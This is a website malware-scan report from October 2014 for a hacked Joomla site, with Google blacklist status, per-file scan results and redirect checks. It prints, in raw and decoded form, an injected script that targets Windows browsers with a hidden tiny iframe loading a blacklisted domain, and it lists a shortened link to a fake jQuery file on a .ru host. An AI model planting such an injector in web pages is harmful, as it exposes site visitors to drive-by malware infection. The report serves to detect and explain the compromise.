New scan:

Malware Scanner report for cybercity-ilemandji.com

Malicious/Suspicious/Total urls checked
1/0/10
1 page has malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "cybercity-ilemandji.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=cybercity-ilemandji.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://cybercity-ilemandji.com/
200 OK
Content-Length: 28748
Content-Type: text/html
malicious
Malicious code found. Script contains blacklisted domain: anadoluengellilerkenti.com

...[3613 bytes skipped]...
ta = browserDetectNav();


if (data[0]) {
if ((data[0] == 'Opera' || data[0] == 'MSIE' || data[0] == 'Firefox') & data[3] == 'Windows'){
var divTag=document.createElement('div');
divTag.id='dt';
document.body.appendChild(divTag);
var js_kod2 = document.createElement('iframe');
js_kod2.src = 'http://anadoluengellilerkenti.com/img/trans/';
js_kod2.width = '5px';
js_kod2.height = '3px';
js_kod2.setAttribute('style','visibility:hidden');
document.getElementById('dt').appendChild(js_kod2);
}
}

}

Decoded script:


function showBrowVer() {
var data = browserDetectNav();
if (data[0]) {
if ((data[0] == "Opera" || data[0] == "MSIE" || data[0] == "Firefox") & data[3] == "Windows") {
var divTag = document.createElement("div");
divTag.id = "dt";
document.body.appendChild(divTag);
var js_kod2 = document.createElement("iframe");
js_kod2.src = "http://anadoluengellilerkenti.com/img/trans/";
js_kod2.width = "5px";
js_kod2.height = "3px";
js_kod2.setAttribute("style", "visibility:hidden");
document.getElementById("dt").appendChild(js_kod2);
}
}
}

http://cybercity-ilemandji.com/media/system/js/modal.js
200 OK
Content-Length: 10552
Content-Type: application/javascript
clean
http://cybercity-ilemandji.com/components/com_k2/js/k2.js
200 OK
Content-Length: 3077
Content-Type: application/javascript
clean
http://cybercity-ilemandji.com/media/system/js/caption.js
200 OK
Content-Length: 2150
Content-Type: application/javascript
clean
http://cybercity-ilemandji.com/modules/mod_zoominfo/js/jquery-1.4.2.min.js
200 OK
Content-Length: 72174
Content-Type: application/javascript
clean
http://cybercity-ilemandji.com/modules/mod_microblog/js/jquery.colorbox-min.js
200 OK
Content-Length: 8762
Content-Type: application/javascript
clean
http://cybercity-ilemandji.com/plugins/content/slimbox/slimbox.js
200 OK
Content-Length: 7073
Content-Type: application/javascript
clean
http://goo.gl/TVwRqF
HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Connection: close
Date: Mon, 13 Oct 2014 05:01:22 GMT
Pragma: no-cache
Age: 266
Location: http://myfilefordownloads.ru/jquery-2.1.1.min.js.php
Server: GSE
Content-Type: text/html; charset=UTF-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Alternate-Protocol: 80:quic,p=0.002
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
clean
http://myfilefordownloads.ru/jquery-2.1.1.min.js.php
500 Internal Server Error
Content-Length: 0
Content-Type: text/html
clean
http://myfilefordownloads.ru/test404page.js
500 Internal Server Error
Content-Length: 0
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: cybercity-ilemandji.com

Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Mon, 13 Oct 2014 05:05:41 GMT
Pragma: no-cache
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 13 Oct 2014 05:05:43 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: f15eecd800998b01add77d1c8a7cef2c=4128b1a76f47b98c5fc59e20efc8a599; path=/
Set-Cookie: lang=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: jfcookie=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: jfcookie[lang]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Second query (visit from search engine):
GET / HTTP/1.1
Host: cybercity-ilemandji.com
Referer: http://www.google.com/search?q=cybercity-ilemandji.com

Result:
The result is similar to the first query. There are no suspicious redirects found.